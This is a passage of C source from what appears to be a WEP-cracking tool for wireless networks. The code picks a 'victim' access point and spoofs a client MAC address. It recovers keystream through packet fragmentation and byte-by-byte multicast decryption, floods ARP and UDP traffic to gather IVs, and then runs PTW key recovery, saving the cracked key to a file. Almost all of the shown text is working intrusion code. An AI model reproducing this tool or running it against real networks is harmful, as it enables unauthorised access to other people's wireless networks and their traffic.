	pcrc = (unsigned long*) (&packet[6+dlen]);

	if (*pcrc != crc) {
		printf("\n");
		time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
			   path, *pcrc, crc);
		return;
	}

	// fill ethernet header
	eh = (struct ether_header*) packet;
	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
		smac = wh->i_addr3;
	else
		smac = wh->i_addr2;

	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
		dmac = wh->i_addr3;
	else
		dmac = wh->i_addr1;

	memcpy(eh->ether_dhost, dmac, 6);
	memcpy(eh->ether_shost, smac, 6);
	// ether type should be there from llc

	dlen -= 8; // llc
	dlen += sizeof(*eh);

#if 0
	printf("\n");
	time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
	hexdump(packet, dlen);
#endif

	rd = write(tapfd, packet, dlen);
	if (rd == -1) {
		perror("write()");
		exit(1);
	}
	if (rd != dlen) {
		printf("Wrote %d / %d\n", rd, dlen);
		exit(1);
	}
}

int is_arp(struct ieee80211_frame *wh, int len)
{
        int arpsize = 8 + sizeof(struct arphdr) + 10*2;

        if (len == arpsize || len == 54)
                return 1;

        return 0;
}

void *get_sa(struct ieee80211_frame *wh)
{
        if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
                return wh->i_addr3;
        else
                return wh->i_addr2;
}

void *get_da(struct ieee80211_frame *wh)
{
        if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
                return wh->i_addr1;
        else
                return wh->i_addr3;
}

int known_clear(void *clear, struct ieee80211_frame *wh, int len)
{
        unsigned char *ptr = clear;

        /* IP */
        if (!is_arp(wh, len)) {
                unsigned short iplen = htons(len - 8);

//                printf("Assuming IP %d\n", len);

                len = sizeof(S_LLC_SNAP_IP) - 1;
                memcpy(ptr, S_LLC_SNAP_IP, len);
                ptr += len;
#if 1
                len = 2;
                memcpy(ptr, "\x45\x00", len);
                ptr += len;

                memcpy(ptr, &iplen, len);
                ptr += len;
#endif
                len = ptr - ((unsigned char*)clear);
                return len;
        }
//        printf("Assuming ARP %d\n", len);

        /* arp */
        len = sizeof(S_LLC_SNAP_ARP) - 1;
        memcpy(ptr, S_LLC_SNAP_ARP, len);
        ptr += len;

        /* arp hdr */
        len = 6;
        memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
        ptr += len;

        /* type of arp */
        len = 2;
        if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
                memcpy(ptr, "\x00\x01", len);
        else
                memcpy(ptr, "\x00\x02", len);
        ptr += len;

        /* src mac */
        len = 6;
        memcpy(ptr, get_sa(wh), len);
        ptr += len;

        len = ptr - ((unsigned char*)clear);
        return len;
}

void add_keystream(struct ieee80211_frame* wh, int rd)
{
	unsigned char clear[1024];
	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
	int clearsize;
	unsigned char *body = (unsigned char*) (wh+1);
	int i;

	clearsize = known_clear(clear, wh, dlen);
	if (clearsize < 16)
		return;

	for (i = 0; i < 16; i++)
		clear[i] ^= body[4+i];

	PTW_addsession(ptw, body, clear);
}

void got_wep(struct ieee80211_frame* wh, int rd) {
	int bodylen;
	int dlen;
	unsigned char clear[1024];
	int clearsize;
	unsigned char *body;

	bodylen = rd - sizeof(struct ieee80211_frame);

	dlen = bodylen - 4 - 4;
	body = (unsigned char*) wh + sizeof(*wh);


	// log it if its stuff not from us...
	if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
	     ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
	        memcmp(wh->i_addr2, mymac, 6) != 0) ) {

		if (body[3] != 0) {
			time_print("Key index=%x!!\n", body[3]);
			exit(1);
		}
		log_wep(wh, rd);
		add_keystream(wh, rd);

		// try to decrypt too
		try_dictionary(wh, rd);
	}

	// look for arp-request packets... so we can decrypt em
	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
	    (memcmp(wh->i_addr3, mymac, 6) != 0) &&
	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
	     (dlen == 36 || dlen == PADDED_ARPLEN) &&
	    !decryptstate.cipher &&
	    !netip) {
		decrypt_arpreq(wh, rd);
	}

	// we have prga... check if its our stuff being relayed...
	if (prgainfo.len != 0) {
		// looks like it...
		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
		    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
		    dlen == fragstate.len) {

//			printf("I fink AP relayed it...\n");
			set_prga(body, &body[4], fragstate.data, dlen);
			free(fragstate.data);
			fragstate.data = 0;
			fragstate.waiting_relay = 0;
		}

		// see if we get the multicast stuff of when decrypting
		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
		    (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
		    dlen == 36) {

			unsigned char pr = wh->i_addr1[5];

			printf("\n");
			time_print("Got clear-text byte: %d\n",
			decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);

			decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
			decryptstate.prgainfo.len++;
			decryptstate.fragstate.waiting_relay = 1;

			// ok we got the ip...
			if (decryptstate.prgainfo.len == 26+1) {
				unsigned char ip[4];
				int i;
				struct in_addr *in = (struct in_addr*) ip;
				unsigned char *ptr;

				for (i = 0; i < 4; i++)
					ip[i] = decryptstate.cipher[8+8+6+i] ^
						decryptstate.prgainfo.prga[8+8+6+i];

				assert(!netip);
				netip = (unsigned char*) malloc(16);
				if(!netip) {
					perror("malloc()");
					exit(1);
				}

				memset(netip, 0, 16);
				strcpy(netip, inet_ntoa(*in));

				time_print("Got IP=(%s)\n", netip);
				strcpy(myip, netip);

				ptr = strchr(myip, '.');
				assert(ptr);
				ptr = strchr(ptr+1, '.');
				assert(ptr);
				ptr = strchr(ptr+1, '.');
				assert(ptr);
				strcpy(ptr+1,"123");

				time_print("My IP=(%s)\n", myip);


				free(decryptstate.prgainfo.prga);
				free(decryptstate.cipher);
				memset(&decryptstate, 0, sizeof(decryptstate));
			}
		}
		return;
	}

	clearsize = known_clear(clear, wh, dlen);
	time_print("Datalen %d Known clear %d\n", dlen, clearsize);

	set_prga(body, &body[4], clear, clearsize);
}

void stuff_for_net(struct ieee80211_frame* wh, int rd) {
	int type,stype;

	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;

	if (type == IEEE80211_FC0_TYPE_DATA &&
	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
		int dlen = rd - sizeof(struct ieee80211_frame);

		if (state == SPOOF_MAC) {
			unsigned char mac[6];
			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
				memcpy(mac, wh->i_addr3, 6);
			} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
				memcpy(mac, wh->i_addr1, 6);
			} else assert(0);

			if (mac[0] == 0xff || mac[0] == 0x1)
				return;

			memcpy(mymac, mac, 6);
			time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
			state = FOUND_VICTIM;
			return;
		}

		// wep data!
		if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
			got_wep(wh, rd);
		}
	}
}

void anal(unsigned char* buf, int rd, int tx) { // yze
	struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
	int type,stype;
	static int lastseq = -1;
	int seq;
	unsigned short *seqptr;
	int for_us = 0;

	if (rd < 1) {
		time_print("rd=%d\n", rd);
		exit(1);
	}

	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;

	// sort out acks
	if (state >= FOUND_VICTIM) {
		// stuff for us
		if (memcmp(wh->i_addr1, mymac, 6) == 0) {
			for_us = 1;
			if (type != IEEE80211_FC0_TYPE_CTL)
				send_ack(tx);
		}
	}

	// XXX i know it aint great...
	seqptr = (unsigned short*)  wh->i_seq;
	seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
	    type != IEEE80211_FC0_TYPE_CTL) {
//		printf("Ignoring dup packet... seq=%d\n", seq);
		return;
	}
	lastseq = seq;

	// management frame
	if (type == IEEE80211_FC0_TYPE_MGT) {
		if(state == FIND_VICTIM) {
			if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
			    stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {

			    	if (get_victim_ssid(wh, rd)) {
			    		return;
				}
			}

		}
	}

	if (state >= FOUND_VICTIM) {
		// stuff for us
		if (for_us) {
			stuff_for_us(wh, rd);
		}

		// stuff in network [even for us]
		if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
			  (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||

			  ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
			  (memcmp(victim.bss, wh->i_addr2, 6) == 0))
			   ) {
			stuff_for_net(wh, rd);
		}
	}
}

void do_arp(unsigned char* buf, unsigned short op,
	    unsigned char* m1, unsigned char* i1,
	    unsigned char* m2, unsigned char* i2) {

        struct in_addr sip;
        struct in_addr dip;
	struct arphdr* h;
	unsigned char* data;

        inet_aton(i1, &sip);
        inet_aton(i2, &dip);
	h = (struct arphdr*) buf;

	memset(h, 0, sizeof(*h));

	h->ar_hrd = htons(ARPHRD_ETHER);
        h->ar_pro = htons(ETHERTYPE_IP);
        h->ar_hln = 6;
        h->ar_pln = 4;
        h->ar_op = htons(op);

	data = (unsigned char*) h + sizeof(*h);

	memcpy(data, m1, 6);
	data += 6;
	memcpy(data, &sip, 4);
	data += 4;

	memcpy(data, m2, 6);
	data += 6;
	memcpy(data, &dip, 4);
	data += 4;
}

void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
	unsigned char buf[4096];
	struct ieee80211_frame* wh;
	unsigned char* body;
	int fragsize;
	uLong crc;
	unsigned long *pcrc;
	int i;
	unsigned short* seq;
	unsigned short sn, fn;

	wh = (struct ieee80211_frame*) buf;
	memcpy(wh, &fs->wh, sizeof(*wh));

	body = (unsigned char*) wh + sizeof(*wh);
	memcpy(body, &pi->iv, 3);
	body += 3;
	*body++ = 0; // key index

	fragsize = fs->data + fs->len - fs->ptr;

	assert(fragsize > 0);

	if ( (fragsize + 4) > pi->len) {
		fragsize = pi->len  - 4;
		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
	}
	// last fragment
	else {
		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
	}

	memcpy(body, fs->ptr, fragsize);

	crc = crc32(0L, Z_NULL, 0);
	crc = crc32(crc, body, fragsize);
	pcrc = (unsigned long*) (body+fragsize);
	*pcrc = crc;

	for (i = 0; i < (fragsize + 4); i++)
		body[i] ^= pi->prga[i];

	seq = (unsigned short*) &wh->i_seq;
	sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
	fn = *seq & IEEE80211_SEQ_FRAG_MASK;
//	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);

	send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);

	seq = (unsigned short*) &fs->wh.i_seq;
	*seq = fnseq(++fn, sn);
	fs->ptr += fragsize;

	if (fs->ptr - fs->data == fs->len) {
//		printf("Finished sending frags...\n");
		fs->waiting_relay = 1;
	}
}

void prepare_fragstate(struct frag_state* fs, int pad) {
	fs->waiting_relay = 0;
	fs->len = 8 + 8 + 20 + pad;
	fs->data = (unsigned char*) malloc(fs->len);

	if(!fs->data) {
		perror("malloc()");
		exit(1);
	}

	fs->ptr = fs->data;

	do_llc(fs->data, ETHERTYPE_ARP);
	do_arp(&fs->data[8], ARPOP_REQUEST,
	       mymac, myip,
	       "\x00\x00\x00\x00\x00\x00", "192.168.0.1");

	memset(&fs->wh, 0, sizeof(fs->wh));
	fill_basic(&fs->wh);

	memset(fs->wh.i_addr3, 0xff, 6);
	fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
	fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
				IEEE80211_FC1_MORE_FRAG |
				IEEE80211_FC1_WEP;

	memset(&fs->data[8+8+20], 0, pad);
}

void discover_prga(int tx) {

	// create packet...
	if (!fragstate.data) {
		int pad = 0;

		if (prgainfo.len >= 20)
			pad = prgainfo.len*3;

		prepare_fragstate(&fragstate, pad);
	}

	if (!fragstate.waiting_relay) {
		send_fragment(tx, &fragstate, &prgainfo);
		if (fragstate.waiting_relay) {
			if (gettimeofday(&fragstate.last, NULL) == -1)
				err(1, "gettimeofday()");
		}
	}
}

void decrypt(int tx) {

	// gotta initiate
	if (!decryptstate.fragstate.data) {
		prepare_fragstate(&decryptstate.fragstate, 0);

		memcpy(decryptstate.fragstate.wh.i_addr3,
		       MCAST_PREF, 5);

		decryptstate.fragstate.wh.i_addr3[5] =
		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];

		decryptstate.prgainfo.len++;
	}

	// guess diff prga byte...
	if (decryptstate.fragstate.waiting_relay) {
		unsigned short* seq;
		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;

#if 0
		if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
			printf("Can't decrpyt!\n");
			exit(1);
		}
#endif
		decryptstate.fragstate.wh.i_addr3[5] =
		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];

		decryptstate.fragstate.waiting_relay = 0;
		decryptstate.fragstate.ptr = decryptstate.fragstate.data;

		seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
		*seq = fnseq(0, txstate.psent);
	}

	send_fragment(tx, &decryptstate.fragstate,
		      &decryptstate.prgainfo);
}

void flood_inet(tx) {
	static int send_arp = -1;
	static unsigned char arp_pkt[128];
	static int arp_len;
	static unsigned char udp_pkt[128];
	static int udp_len;
	static struct timeval last_ip;

	// need to init packets...
	if (send_arp == -1) {
		unsigned char* body;
		unsigned char* ptr;
		struct ieee80211_frame* wh;
		struct ip* ih;
		struct udphdr* uh;

		memset(arp_pkt, 0, sizeof(arp_pkt));
		memset(udp_pkt, 0, sizeof(udp_pkt));

		// construct ARP
		wh = (struct ieee80211_frame*) arp_pkt;
		fill_basic(wh);

		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
		memset(wh->i_addr3, 0xff, 6);

		body = (unsigned char*) wh + sizeof(*wh);
		ptr = body;
		ptr += 4; // iv

		do_llc(ptr, ETHERTYPE_ARP);
		ptr += 8;
		do_arp(ptr, ARPOP_REQUEST, mymac, myip,
		       "\x00\x00\x00\x00\x00\x00", netip);

		wepify(body, 8+8+20);
		arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
		assert(arp_len < sizeof(arp_pkt));


		// construct UDP
		wh = (struct ieee80211_frame*) udp_pkt;
		fill_basic(wh);

		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
		memcpy(wh->i_addr3, rtrmac, 6);

		body = (unsigned char*) wh + sizeof(*wh);
		ptr = body;
		ptr += 4; // iv

		do_llc(ptr, ETHERTYPE_IP);
		ptr += 8;

		ih = (struct ip*) ptr;
		ih->ip_hl = 5;
		ih->ip_v = 4;
		ih->ip_tos = 0;
		ih->ip_len = htons(20+8+5);
		ih->ip_id = htons(666);
		ih->ip_off = 0;
		ih->ip_ttl = 128;
		ih->ip_p = IPPROTO_UDP;
		ih->ip_sum = 0;

		inet_aton(myip, &ih->ip_src);
		inet_aton(floodip, &ih->ip_dst);

		ih->ip_sum = in_cksum((unsigned short*)ih, 20);

		ptr += 20;
		uh = (struct udphdr*) ptr;
		uh->uh_sport = htons(floodsport);
		uh->uh_dport = htons(floodport);
		uh->uh_ulen = htons(8+5);
		uh->uh_sum = 0;

		ptr += 8;
		strcpy(ptr, "sorbo");

		uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
					  &ih->ip_dst);

		wepify(body, 8+20+8+5);
		udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
		assert(udp_len < sizeof(udp_pkt));

		// bootstrap
		send_arp = 1;

		memset(&last_ip, 0, sizeof(last_ip));
	}

	if (send_arp == 1) {
		struct timeval now;
		unsigned long sec;

		if (gettimeofday(&now, NULL) == -1) {
			perror("gettimeofday()");
			exit(1);
		}

		sec = now.tv_sec - last_ip.tv_sec;

		if (sec < 5)
			return;

		send_frame(tx, arp_pkt, arp_len);
		send_arp = 0;
	}

	else if (send_arp == 0) {
		if (gettimeofday(&last_ip, NULL) == -1) {
			perror("gettimeofday()");
			exit(1);
		}

		send_frame(tx, udp_pkt, udp_len);
		send_arp = 1;
	} else assert(0);
}

void send_arp(int tx, unsigned short op, unsigned char* srcip,
	      unsigned char* srcmac, unsigned char* dstip,
	      unsigned char* dstmac) {

	static unsigned char arp_pkt[128];
	unsigned char* body;
	unsigned char* ptr;
	struct ieee80211_frame* wh;
	int arp_len;

	memset(arp_pkt, 0, sizeof(arp_pkt));

	// construct ARP
	wh = (struct ieee80211_frame*) arp_pkt;
	fill_basic(wh);

	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
	wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
	memset(wh->i_addr3, 0xff, 6);

	body = (unsigned char*) wh + sizeof(*wh);
	ptr = body;
	ptr += 4; // iv

	do_llc(ptr, ETHERTYPE_ARP);
	ptr += 8;
	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);

	wepify(body, 8+8+20);
	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
	assert(arp_len < sizeof(arp_pkt));

	send_frame(tx, arp_pkt, arp_len);
}

void can_write(int tx) {
	static char arp_ip[16];

	switch (state) {
		case FOUND_VICTIM:
			send_auth(tx);
			state = SENDING_AUTH;
			break;

		case GOT_AUTH:
			send_assoc(tx);
			state = SENDING_ASSOC;
			break;

		case GOT_ASSOC:
			if (prgainfo.prga && prgainfo.len < min_prga) {
				discover_prga(tx);
				break;
			}

			if (decryptstate.cipher) {
				decrypt(tx);
				break;
			}

			if (!prgainfo.prga)
				break;

			if (taptx_len) {
				send_frame(tx, taptx, taptx_len);
				taptx_len = 0;
				break;
			}

			// try to find rtr mac addr
			if (netip && !rtrmac) {
				char* ptr;

				strcpy(arp_ip, netip);
				if (!netip_arg) {
					ptr = strchr(arp_ip, '.');
					assert(ptr);
					ptr = strchr(++ptr, '.');
					assert(ptr);
					ptr = strchr(++ptr, '.');
					assert(ptr);
					strcpy(++ptr, "1");
				}

				if (gettimeofday(&arpsend, NULL) == -1)
					err(1, "gettimeofday()");

				time_print("Sending arp request for: %s\n", arp_ip);
				send_arp(tx, ARPOP_REQUEST, myip, mymac,
					 arp_ip, "\x00\x00\x00\x00\x00\x00");

				// XXX lame
				rtrmac = (unsigned char*)1;
				break;
			}

			// need to generate traffic...
			if (rtrmac > (unsigned char*)1 && netip) {
				if (floodip)
					flood_inet(tx);
				else {
					// XXX lame technique... anyway... im
					// only interested in flood_inet...

					// could ping broadcast....
					send_arp(tx, ARPOP_REQUEST, myip, mymac,
						 arp_ip, "\x00\x00\x00\x00\x00\x00");
				}

				break;
			}

			break;
	}
}

void save_key(unsigned char *key, int len)
{
	char tmp[16];
	char k[64];
	int fd;
	int rd;

	assert(len*3 < sizeof(k));

	k[0] = 0;
	while (len--) {
		sprintf(tmp, "%.2X", *key++);
		strcat(k, tmp);
		if (len)
			strcat(k, ":");
	}

	fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
	if (fd == -1)
		err(1, "open()");

	printf("\nKey: %s\n", k);
	rd = write(fd, k, strlen(k));
	if (rd == -1)
		err(1, "write()");
	if (rd != strlen(k))
		errx(1, "write %d/%d\n", rd, strlen(k));
	close(fd);
}

#define KEYLIMIT (1000000)
int do_crack(void)
{
	unsigned char key[PTW_KEYHSBYTES];

	if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
		save_key(key, 13);
		return 1;
	}
	if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
		save_key(key, 5);
		return 1;
	}

	return 0;
}

void try_crack() {
	if (crack_pid) {
		printf("\n");
		time_print("Warning... previous crack still running!\n");
		kill_crack();
	}

	if (weplog.fd) {
		if (fsync(weplog.fd) == -1)
			err(1, "fsync");
	}

	crack_pid = fork();

	if (crack_pid == -1)
		err(1, "fork");

	// child
	if (crack_pid == 0) {
		if (!do_crack())
			printf("\nCrack unsuccessful\n");
		exit(1);
	}

	// parent
	printf("\n");
	time_print("Starting crack PID=%d\n", crack_pid);
	if (gettimeofday(&crack_start, NULL) == -1)
		err(1, "gettimeofday");


	wep_thresh += thresh_incr;
}

void open_tap() {
	struct stat st;
	int s;
	struct ifreq ifr;
	unsigned int flags;

	tapfd = open(TAP_DEV, O_RDWR);
	if (tapfd == -1) {
		printf("Can't open tap: %s\n", strerror(errno));
		exit(1);
	}
	if(fstat(tapfd, &st) == -1) {
		perror("fstat()");
		exit(1);
	}

	// feer
	strcpy(tapdev, devname(st.st_rdev, S_IFCHR));

	s = socket(PF_INET, SOCK_DGRAM, 0);
	if (s == -1) {
		perror("socket()");
		exit(1);
	}

	// MTU
	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, tapdev);
	ifr.ifr_mtu = 1500;
	if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
		perror("ioctl(SIOCSIFMTU)");
		exit(1);
	}

	// set iface up
	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, tapdev);
	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
		perror("ioctl(SIOCGIFFLAGS)");
		exit(1);
	}

	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
	flags |= IFF_UP;

	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, tapdev);
	ifr.ifr_flags = flags & 0xffff;
	ifr.ifr_flagshigh = flags >> 16;
	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
		perror("ioctl(SIOCSIFFLAGS)");
		exit(1);
	}

	close(s);
	time_print("Opened tap device: %s\n", tapdev);
}

void read_tap() {
	unsigned char buf[4096];
	struct ether_header* eh;
	struct ieee80211_frame* wh;
	int rd;
	unsigned char* ptr, *body;
	int dlen;

	rd = read(tapfd, buf, sizeof(buf));
	if (rd == -1) {
		perror("read()");
		exit(1);
	}
	dlen = rd - sizeof(*eh);

	assert(dlen > 0);

	if (dlen+8 > prgainfo.len) {
		printf("\n");
		// XXX lame message...
		time_print("Sorry... want to send %d but only got %d prga\n",
			   dlen, prgainfo.len);
		return;

	}

	if (taptx_len) {
		printf("\n");
		time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
		// XXX could not read instead and get rid of it in select...
	}

	assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));

	eh = (struct ether_header*) buf;

	wh = (struct ieee80211_frame*) taptx;
	memset(wh, 0, sizeof(*wh));
	fill_basic(wh);

        wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
        wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;

	memcpy(wh->i_addr2, eh->ether_shost, 6);
	memcpy(wh->i_addr3, eh->ether_dhost, 6);

        body = (unsigned char*) wh + sizeof(*wh);
        ptr = body;
        ptr += 4; // iv

	do_llc(ptr, ntohs(eh->ether_type));
	ptr += 8;

	memcpy(ptr, &buf[sizeof(*eh)], dlen);

	wepify(body, 8+dlen);
	taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;

	assert (taptx_len < sizeof(taptx));
}

int elapsedd(struct timeval *past, struct timeval *now)
{
        int el;

        el = now->tv_sec - past->tv_sec;
        assert(el >= 0);
        if (el == 0) {
                el = now->tv_usec - past->tv_usec;
        } else {
                el = (el - 1)*1000*1000;
                el += 1000*1000-past->tv_usec;
                el += now->tv_usec;
        }

        return el;
}

static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
{
#define BIT(n)  (1<<(n))
        struct bpf_hdr *bpfh;
        struct ieee80211_radiotap_header *rth;
        uint32_t present;
        uint8_t rflags;
        void *ptr;
	static int nocrc = 0;

	assert(*totlen);

        /* bpf hdr */
        bpfh = (struct bpf_hdr*) (*data);
        assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
        *totlen -= bpfh->bh_hdrlen;

        /* check if more packets */
        if ((int)bpfh->bh_caplen < *totlen) {
                int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
                int offset = BPF_WORDALIGN(tot);

                *data = (char*)bpfh + offset;
                *totlen -= offset - tot; /* take into account align bytes */
        } else if ((int)bpfh->bh_caplen > *totlen)
                abort();

        *plen = bpfh->bh_caplen;
        *totlen -= bpfh->bh_caplen;
        assert(*totlen >= 0);

        /* radiotap */
        rth = (struct ieee80211_radiotap_header*)
              ((char*)bpfh + bpfh->bh_hdrlen);
        /* XXX cache; drivers won't change this per-packet */
        /* check if FCS/CRC is included in packet */
        present = le32toh(rth->it_present);
        if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
                if (present & BIT(IEEE80211_RADIOTAP_TSFT))
                        rflags = ((const uint8_t *)rth)[8];
                else
                        rflags = ((const uint8_t *)rth)[0];
        } else
                rflags = 0;
        *plen -= rth->it_len;
        assert(*plen > 0);

        /* 802.11 CRC */
        if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
                *plen -= IEEE80211_CRC_LEN;
                nocrc = 1;
        }

        ptr = (char*)rth + rth->it_len;

        return ptr;
#undef BIT
}

static int read_packet(int fd, unsigned char *dst, int len)
{
	static unsigned char buf[4096];
	static int totlen = 0;
	static unsigned char *next = buf;
        unsigned char *pkt;
        int plen;

        assert(len > 0);

        /* need to read more */
        if (totlen == 0) {
                totlen = read(fd, buf, sizeof(buf));
                if (totlen == -1) {
                        totlen = 0;
                        return -1;
                }
                next = buf;
        }

        /* read 802.11 packet */
        pkt = get_80211(&next, &totlen, &plen);
        if (plen > len)
                plen = len;
        assert(plen > 0);
        memcpy(dst, pkt, plen);

        return plen;
}

void own(int wifd) {
	unsigned char buf[4096];
	int rd;
	fd_set rfd;
	struct timeval tv;
	char *pbar = "/-\\|";
	char *pbarp = &pbar[0];
	struct timeval lasthop;
	struct timeval now;
	unsigned int last_wep_count = 0;
	struct timeval last_wcount;
	struct timeval last_status;
	int fd;
	int largest;

	weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
	if (weplog.fd == -1) {
		struct pcap_file_header pfh;

		memset(&pfh, 0, sizeof(pfh));
		pfh.magic           = TCPDUMP_MAGIC;
		pfh.version_major   = PCAP_VERSION_MAJOR;
		pfh.version_minor   = PCAP_VERSION_MINOR;
		pfh.thiszone        = 0;
		pfh.sigfigs         = 0;
		pfh.snaplen         = 65535;
		pfh.linktype        = LINKTYPE_IEEE802_11;

		weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
				 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
		if (weplog.fd != -1) {
			if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
				err(1, "write()");
		}
	}
	else {
		time_print("WARNING: Appending in %s\n", WEP_FILE);
	}

	if (weplog.fd == -1) {
		perror("open()");
		exit(1);
	}

	fd = open(PRGA_FILE, O_RDONLY);
	if (fd != -1) {
		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
		rd = read(fd, buf, sizeof(buf));
		if (rd == -1) {
			perror("read()");
			exit(1);
		}
		if (rd >= 8) {
			set_prga(buf, NULL, &buf[3], rd - 3);
		}

		close(fd);
	}

	fd = open(DICT_PATH, O_RDONLY);
	if (fd == -1) {
		time_print("Creating dictionary directory (%s)\n", DICT_PATH);
		if (mkdir (DICT_PATH, 0755) == -1) {
			perror("mkdir()");
			exit(1);
		}
	}
	else
		close(fd);

	open_tap();
	set_if_mac(mymac, tapdev);
	time_print("Set tap MAC to: %s\n", mac2str(mymac));

	if (tapfd > wifd)
		largest = tapfd;
	else
		largest = wifd;

	if (signal(SIGINT, &cleanup) == SIG_ERR) {
		perror("signal()");
		exit(1);
	}
	if (signal (SIGTERM, &cleanup) == SIG_ERR) {
		perror("signal()");
		exit(1);
	}

	time_print("Looking for a victim...\n");
	if (gettimeofday(&lasthop, NULL) == -1) {
		perror("gettimeofday()");
		exit(1);
	}

	memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
	memcpy(&last_status, &lasthop, sizeof(last_status));

	while (1) {
		if (gettimeofday(&now, NULL) == -1) {
			perror("gettimeofday()");
			exit(1);
		}

		/* check for relay timeout */
		if (fragstate.waiting_relay) {
			int el;

			el = now.tv_sec - fragstate.last.tv_sec;
			assert (el >= 0);
			if (el == 0) {
				el = now.tv_usec - fragstate.last.tv_usec;
			} else {
				el--;

				el *= 1000*1000;
				el += 1000*1000 - fragstate.last.tv_usec;
				el += now.tv_usec;

				if (el > (1500*1000)) {
//					printf("\nLAMER timeout\n\n");
					free(fragstate.data);
					fragstate.data = 0;
				}
			}
		}

		/* check for arp timeout */
		if (rtrmac == (unsigned char*) 1) {
			int el;

